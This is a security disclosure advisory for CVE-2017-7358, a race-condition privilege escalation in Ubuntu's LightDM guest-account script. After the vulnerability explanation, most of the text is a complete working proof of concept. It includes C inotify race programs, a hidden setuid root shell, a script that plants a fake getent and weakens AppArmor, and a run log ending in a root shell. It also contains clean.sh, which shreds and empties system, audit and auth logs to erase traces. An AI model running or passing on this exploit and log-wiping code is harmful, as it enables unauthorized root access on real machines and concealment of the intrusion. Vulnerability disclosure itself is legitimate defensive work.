SSD Advisory – Ubuntu LightDM Guest Account Local Privilege Escalation
Credit to Author: Maor Schwartz| Date: Tue, 18 Apr 2017 10:00:24 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
Vulnerability Summary
The following advisory describes a local privilege escalation via LightDM found in Ubuntu versions 16.10 / 16.04 LTS.
Ubuntu is an open source software platform that runs everywhere from IoT devices, the smartphone, the tablet and the PC to the server and the cloud. LightDM is an X display manager that aims to be lightweight, fast, extensible and multi-desktop. It uses various front-ends to draw login interfaces, also called Greeters.
Credit
An independent security researcher, G. Geshev (@munmap), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor Responses
The vendor has released a patch to address this issue.
For more information: https://www.ubuntu.com/usn/usn-3255-1/
CVE Details
CVE-2017-7358
Vulnerability Details
The vulnerability is found in LightDM, which is the Ubuntu’s default desktop manager, more specifically in the guest login feature. By default LightDM allows you to log into a session as a temporary user. This is implemented in a script called ‘guest-account‘.
The script runs as root when you view the login screen, also known as a greeter, to log in as a guest. Ubuntu’s default greeter is Unity Greeter.
Vulnerable code
The vulnerable function is ‘add_account‘.
1 2 3 4 | 35 temp_home=$(mktemp –td guest–XXXXXX) 36 GUEST_HOME=$(echo ${temp_home} | tr ‘[:upper:]’ ‘[:lower:]’) 37 GUEST_USER=${GUEST_HOME#/tmp/} 38 [ ${GUEST_HOME} != ${temp_home} ] && mv ${temp_home} ${GUEST_HOME} |
The guest folder gets created using ‘mktemp’ on line 35. The attacker can use ‘inotify‘ to monitor ‘/tmp‘ for the creation of this folder.
The folder name will likely contain both upper and lower case letters. Once this folder is created, we grab the folder name and quickly and create the equivalent folder with all letters lower case.
If we manage to race the ‘mv‘ command on line 38, we end up with the newly created home for the guest user inside the folder we own.
Once we have the guest home under our control, we rename it and replace it with a symbolic link to a folder we want to take over. The code below will then add the new user to the OS. The user’s home folder will already point to the folder we want to take over, for example ‘/usr/local/sbin‘.
1 2 3 4 | 68 useradd —system —home–dir ${GUEST_HOME} —comment $(gettext “Guest”) —user–group —shell /bin/bash ${GUEST_USER} || { 69 rm –rf ${GUEST_HOME} 70 exit 1 71 } |
The attacker can grab the newly created user’s ID and monitor ‘/usr/local/sbin‘ for ownership changes. The ownership will be changed by the following ‘mount‘.
1 2 3 4 | 78 mount –t tmpfs –o mode=700,uid=${GUEST_USER} none ${GUEST_HOME} || { 79 rm –rf ${GUEST_HOME} 80 exit 1 81 } |
We will remove the symbolic link and create a folder with the same name – to let the guest user to log in. While the guest is logging in, his path for finding executable files will include ‘bin‘ under his home folder.
That’s why we create a new symbolic link to point his ‘bin‘ into a folder we control. This way we can force the user to execute our own code under his user ID. We use this to log out the guest user from his session which is where we can gain root access.
The logout code will first execute the following code:
1 2 3 4 | 156 PWENT=$(getent passwd ${GUEST_USER}) || { 157 echo “Error: invalid user ${GUEST_USER}” 158 exit 1 159 } |
This code will be executed as the owner of the script, i.e. root. Since we have already taken over ‘/usr/local/sbin‘ and have planted our own ‘getent‘, we get to execute commands as root at this point.
Note – We can trigger the guest session creation script by entering the following two commands.
1 2 | XDG_SEAT_PATH=“/org/freedesktop/DisplayManager/Seat0” /usr/bin/dm–tool lock XDG_SEAT_PATH=“/org/freedesktop/DisplayManager/Seat0” /usr/bin/dm–tool switch–to–guest |
Proof of Concept
The Proof of Concept is contains 9 files and they will take advantage of the race conditions mentioned above.
- kodek/bin/cat
- kodek/shell.c
- kodek/clean.sh
- kodek/run.sh
- kodek/stage1.sh
- kodek/stage1local.sh
- kodek/stage2.sh
- kodek/boclocal.c
- kodek/boc.c
By running the following scripts an attacker can run root commands:
1 2 3 4 5 6 7 8 9 10 11 | @ubuntu:/var/tmp/kodek$ ./stage1local.sh @ubuntu:/var/tmp/kodek$ [!] GAME OVER !!! [!] count1: 2337 count2: 7278 [!] w8 1 minute and run /bin/subash @ubuntu:/var/tmp/kodek$ /bin/subash root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root) root@ubuntu:~# |
If the exploit fails, you can simply run it again.
Once you get your root shell, you can optionally clean any exploit files and logs by executing the below.
1 2 3 4 5 6 7 | root@ubuntu:/var/tmp/kodek# ./clean.sh /usr/bin/shred: /var/log/audit/audit.log: failed to open for writing: No such file or directory Do you want to remove exploit (y/n)? y /usr/bin/shred: /var/tmp/kodek/bin: failed to open for writing: Is a directory root@ubuntu:/var/tmp/kodek# |
boc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <ctype.h> #include <sys/inotify.h> #include <sys/stat.h> #include <pwd.h> #define EVENT_SIZE(sizeof(struct inotify_event)) #define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16)) int main(void) { struct stat info; struct passwd * pw; struct inotify_event * event; pw = getpwnam(“root”); if (pw == NULL) exit(0); char newpath[20] = “old.”; int length = 0, i, fd, wd, count1 = 0, count2 = 0; int a, b; char buffer[EVENT_BUF_LEN]; fd = inotify_init(); if (fd < 0) exit(0); wd = inotify_add_watch(fd, “/tmp/”, IN_CREATE | IN_MOVED_FROM); if (wd < 0) exit(0); chdir(“/tmp/”); while (1) { length = read(fd, buffer, EVENT_BUF_LEN); if (length > 0) { event = (struct inotify_event * ) buffer; if (event – > len) { if (strstr(event – > name, “guest-“) != NULL) { for (i = 0; event – > name[i] != ‘ ’; i++) { event – > name[i] = tolower(event – > name[i]); } if (event – > mask & IN_CREATE) mkdir(event – > name, ACCESSPERMS); if (event – > mask & IN_MOVED_FROM) { rename(event – > name, strncat(newpath, event – > name, 15)); symlink(“/usr/local/sbin/”, event – > name); while (1) { count1 = count1 + 1; pw = getpwnam(event – > name); if (pw != NULL) break; } while (1) { count2 = count2 + 1; stat(“/usr/local/sbin/”, & info); if (info.st_uid == pw – > pw_uid) { a = unlink(event – > name); b = mkdir(event – > name, ACCESSPERMS); if (a == 0 && b == 0) { printf(“n[!] GAME OVER !!!n[!] count1: %i count2: %in”, count1, count2); } else { printf(“n[!] a: %i b: %in[!] exploit failed !!!n”, a, b); } system(“/bin/rm -rf /tmp/old.*”); inotify_rm_watch(fd, wd); close(fd); exit(0); } } } } } } } } |
boclocal.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <ctype.h> #include <sys/inotify.h> #include <sys/stat.h> #include <pwd.h> #define EVENT_SIZE(sizeof(struct inotify_event)) #define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16)) int main(void) { struct stat info; struct passwd * pw; struct inotify_event * event; pw = getpwnam(“root”); if (pw == NULL) exit(0); char newpath[20] = “old.”; int length = 0, i, fd, wd, count1 = 0, count2 = 0; int a, b, c; char buffer[EVENT_BUF_LEN]; fd = inotify_init(); if (fd < 0) exit(0); wd = inotify_add_watch(fd, “/tmp/”, IN_CREATE | IN_MOVED_FROM); if (wd < 0) exit(0); chdir(“/tmp/”); while (1) { length = read(fd, buffer, EVENT_BUF_LEN); if (length > 0) { event = (struct inotify_event * ) buffer; if (event – > len) { if (strstr(event – > name, “guest-“) != NULL) { for (i = 0; event – > name[i] != ‘ ’; i++) { event – > name[i] = tolower(event – > name[i]); } if (event – > mask & IN_CREATE) mkdir(event – > name, ACCESSPERMS); if (event – > mask & IN_MOVED_FROM) { rename(event – > name, strncat(newpath, event – > name, 15)); symlink(“/usr/local/sbin/”, event – > name); while (1) { count1 = count1 + 1; pw = getpwnam(event – > name); if (pw != NULL) break; } while (1) { count2 = count2 + 1; stat(“/usr/local/sbin/”, & info); if (info.st_uid == pw – > pw_uid) { a = unlink(event – > name); b = mkdir(event – > name, ACCESSPERMS); c = symlink(“/var/tmp/kodek/bin/”, strncat(event – > name, “/bin”, 5)); if (a == 0 && b == 0 && c == 0) { printf(“n[!] GAME OVER !!!n[!] count1: %i count2: %in[!] w8 1 minute and run /bin/subashn”, count1, count2); } else { printf(“n[!] a: %i b: %i c: %in[!] exploit failed !!!n[!] w8 1 minute and run it againn”, a, b, c); } system(“/bin/rm -rf /tmp/old.*”); inotify_rm_watch(fd, wd); close(fd); exit(0); } } } } } } } } |
clean.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #!/bin/bash if [ “$(/usr/bin/id -u)” != “0” ]; then echo “This script must be run as root” 1>&2 exit 1 fi /bin/rm –rf /tmp/guest–* /tmp/old.guest–* /usr/bin/shred –fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc /var/log/kern.log /var/log/audit/audit.log /var/log/lightdm/* /bin/echo > /var/log/auth.log /bin/echo > /var/log/syslog /bin/dmesg –c >/dev/null 2>&1 /bin/echo “Do you want to remove exploit (y/n)?” read answer if [ “$answer” == “y” ]; then /usr/bin/shred –fu /var/tmp/kodek/* /var/tmp/kodek/bin/* /bin/rm –rf /var/tmp/kodek else exit fi |
run.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #!/bin/sh /bin/cat << EOF > /usr/local/sbin/getent #!/bin/bash /bin/cp /var/tmp/shell /bin/subash >/dev/null 2>&1 /bin/chmod 4111 /bin/subash >/dev/null 2>&1 COUNTER=0 while [ $COUNTER –lt 10 ]; do /bin/umount –lf /usr/local/sbin/ >/dev/null 2>&1 let COUNTER=COUNTER+1 done /bin/sed –i ‘s//usr/lib/lightdm/lightdm-guest-session {//usr/lib/lightdm/lightdm-guest-session flags=(complain) {/g’ /etc/apparmor.d/lightdm–guest–session >/dev/null 2>&1 /sbin/apparmor_parser –r /etc/apparmor.d/lightdm–guest–session >/dev/null 2>&1 /usr/bin/getent passwd “$2” EOF /bin/chmod 755 /usr/local/sbin/getent >/dev/null 2>&1 |
shell.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <grp.h> int main(void) { setresuid(0, 0, 0); setresgid(0, 0, 0); setgroups(0, NULL); putenv(“HISTFILE=/dev/null”); execl(“/bin/bash”, “[bioset]”, “-pi”, NULL); return 0; } |
stage1.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #!/bin/bash if [ “${PWD}” == “/var/tmp/kodek” ]; then /usr/bin/killall –9 /var/tmp/boc >/dev/null 2>&1 /usr/bin/killall –9 boc >/dev/null 2>&1 /bin/sleep 3s /usr/bin/shred –fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>&1 /usr/bin/gcc boc.c –Wall –s –o /var/tmp/boc /usr/bin/gcc shell.c –Wall –s –o /var/tmp/shell /bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh /var/tmp/boc else echo “[!] run me from /var/tmp/kodek” exit fi |
stage1local.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | #!/bin/bash if [ “${PWD}” == “/var/tmp/kodek” ]; then /usr/bin/killall –9 /var/tmp/boc >/dev/null 2>&1 /usr/bin/killall –9 boc >/dev/null 2>&1 /bin/sleep 3s /usr/bin/shred –fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>&1 /usr/bin/gcc boclocal.c –Wall –s –o /var/tmp/boc /usr/bin/gcc shell.c –Wall –s –o /var/tmp/shell /bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh /var/tmp/boc & /bin/sleep 5s XDG_SEAT_PATH=“/org/freedesktop/DisplayManager/Seat0” /usr/bin/dm–tool lock XDG_SEAT_PATH=“/org/freedesktop/DisplayManager/Seat0” /usr/bin/dm–tool switch–to–guest else echo “[!] run me from /var/tmp/kodek” exit fi |
stage2.sh
1 2 | #!/bin/sh /usr/bin/systemd–run —user /var/tmp/run.sh |
/bin/cat
1 2 3 4 | #!/bin/sh /usr/bin/systemd–run —user /var/tmp/run.sh /bin/sleep 15s /bin/loginctl terminate–session `/bin/loginctl session–status | /usr/bin/head –1 | /usr/bin/awk ‘{ print $1 }’` |